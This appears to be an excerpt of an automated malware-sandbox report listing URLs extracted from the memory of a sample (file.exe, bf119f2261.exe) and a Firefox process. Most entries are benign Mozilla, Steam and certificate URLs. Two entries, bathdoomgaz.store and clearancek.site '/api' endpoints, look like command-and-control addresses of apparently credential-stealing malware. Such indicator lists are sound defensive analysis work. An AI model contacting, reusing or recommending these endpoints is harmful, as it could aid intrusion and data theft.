Source: firefox.exe, 00000015.00000003.1921737484.0000010CA4E7B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, gmpopenh264.dll.tmp.21.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, gmpopenh264.dll.tmp.21.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: firefox.exe, 00000015.00000003.1921737484.0000010CA4E7B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921580733.0000010CA4E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826356054.0000010CAAC0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000015.00000003.1808673758.0000010CA9984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000015.00000003.1808673758.0000010CA9984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1932667988.0000010CAAC0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826356054.0000010CAAC0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: file.exe, 00000000.00000003.1440121307.0000000001854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/coo
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1440121307.0000000001854000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: firefox.exe, 00000015.00000003.1962258225.0000010CAAD0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000015.00000003.1972294817.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1979124212.0000010CA8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1994381035.0000010CA8F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000015.00000003.1808973139.0000010CA8CC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1938860913.0000010CA9B92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974709028.0000010CA7A79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1808673758.0000010CA9984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974551293.0000010CA7AA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1995263581.0000010CA8C2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1967148688.0000010CA9B50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1938860913.0000010CA9B50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2005949676.0000010CA7A79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1808673758.0000010CA99D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1809695643.0000010CA8BD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974551293.0000010CA7AB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1995359478.0000010CA8BD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1966860871.0000010CA9B92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1992930235.0000010CA9B50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974169733.0000010CA8C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000015.00000003.1967148688.0000010CA9B50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1938860913.0000010CA9B50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1992930235.0000010CA9B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xull
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000015.00000003.1775560172.0000010CA7542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1776148002.0000010CA7583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962452330.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000015.00000003.1982641723.0000010CB36B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000015.00000003.1930594276.0000010CAF723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000015.00000003.1938860913.0000010CA9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1966655683.0000010CA9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1992413965.0000010CA9BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000015.00000003.1928421630.0000010CAF7D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000015.00000003.1925118614.0000010CB3A57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1954332748.0000010CB3A57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1982331840.0000010CB3A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads-us.rd.linksynergy.com/as.php
Source: firefox.exe, 00000015.00000003.1968540685.0000010CA9787000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA875D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA87CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000015.00000003.1924558467.0000010CB3A93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000015.00000003.1953441059.0000010CB3A93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000015.00000003.1927441607.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1514965663.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1485103879.0000000005E74000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484877780.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502935350.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2650440125.000002324AFEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDBEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2656010478.000001CD08B03000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.21.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: firefox.exe, 00000017.00000002.2650440125.000002324AFEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDBEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2656010478.000001CD08B03000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.21.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 00000015.00000003.1955821789.0000010CB352E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000015.00000003.1870646867.0000010CA7E84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1170143
Source: firefox.exe, 00000015.00000003.1873081521.0000010CA7EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1873003931.0000010CA7EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869110699.0000010CA7EB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1189266
Source: firefox.exe, 00000015.00000003.1873081521.0000010CA7EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1873003931.0000010CA7EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869110699.0000010CA7EB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1193802
Source: firefox.exe, 00000015.00000003.1873003931.0000010CA7EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1870777570.0000010CA7E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869996972.0000010CA7EA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869110699.0000010CA7EB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1207993
Source: firefox.exe, 00000015.00000003.1869996972.0000010CA7EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1266220
Source: firefox.exe, 00000015.00000003.1873081521.0000010CA7EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1873003931.0000010CA7EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869110699.0000010CA7EB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1283601
Source: firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000015.00000003.1873081521.0000010CA7EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1873003931.0000010CA7EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1871389873.0000010CA7E69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869996972.0000010CA7EA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869110699.0000010CA7EB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678448
Source: firefox.exe, 00000015.00000003.1873081521.0000010CA7EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1873003931.0000010CA7EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869110699.0000010CA7EB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=792480
Source: firefox.exe, 00000015.00000003.1870777570.0000010CA7E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=793869
Source: firefox.exe, 00000015.00000003.1873003931.0000010CA7EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1870777570.0000010CA7E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869996972.0000010CA7EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=809550
Source: firefox.exe, 00000015.00000003.1873003931.0000010CA7EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1869996972.0000010CA7EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=840161
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1397386123.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=D_iTAfDsLH
